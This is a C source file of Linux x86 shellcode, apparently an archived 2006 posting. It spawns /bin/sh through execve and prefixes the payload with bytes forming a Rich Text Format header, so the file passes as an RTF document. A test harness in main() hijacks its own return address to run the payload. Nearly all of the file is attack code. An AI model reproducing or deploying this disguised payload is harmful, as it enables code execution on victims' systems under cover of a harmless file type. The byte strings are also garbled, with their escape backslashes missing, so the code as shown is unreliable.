/*
 * (linux/x86) - execve("/bin/sh", ["/bin/sh", NULL]) + RTF header - 30 bytes
 *
 * root@magicbox:~# file linux-sh-rtfhdr.bin
 * linux-sh-rtfhdr.bin: Rich Text Format data, version 1,
 *
 * - izik <izik@tty64.org>
 */

char shellcode[] = 

	//
	// RTF Header (7 bytes) 
	// - Be careful not to trigger any of those expressions.
	//

	"x7bx5c"              // jnp 80480d2 <_start+0x5e> 
	"x72x74"              // jb 80480ec <_start+0x78> 
	"x66x31xc0"          // xor %ax,%ax 

	//
	// execve("/bin/sh", ["/bin/sh", NULL]);
	//

	"x6ax0b"              // push $0xb 
	"x58"                  // pop %eax 
	"x99"                  // cltd 
	"x52"                  // push %edx 
	"x68x2fx2fx73x68"  // push $0x68732f2f 
	"x68x2fx62x69x6e"  // push $0x6e69622f 
	"x89xe3"              // mov %esp,%ebx 
	"x52"                  // push %edx 
	"x53"                  // push %ebx 
	"x89xe1"              // mov %esp,%ecx 
	"xcdx80";             // int $0x80 

int main(int argc, char **argv) {
	int *ret;
	ret = (int *)&ret + 2;
	(*ret) = (int) shellcode;
}

// www.Syue.com [2006-04-17]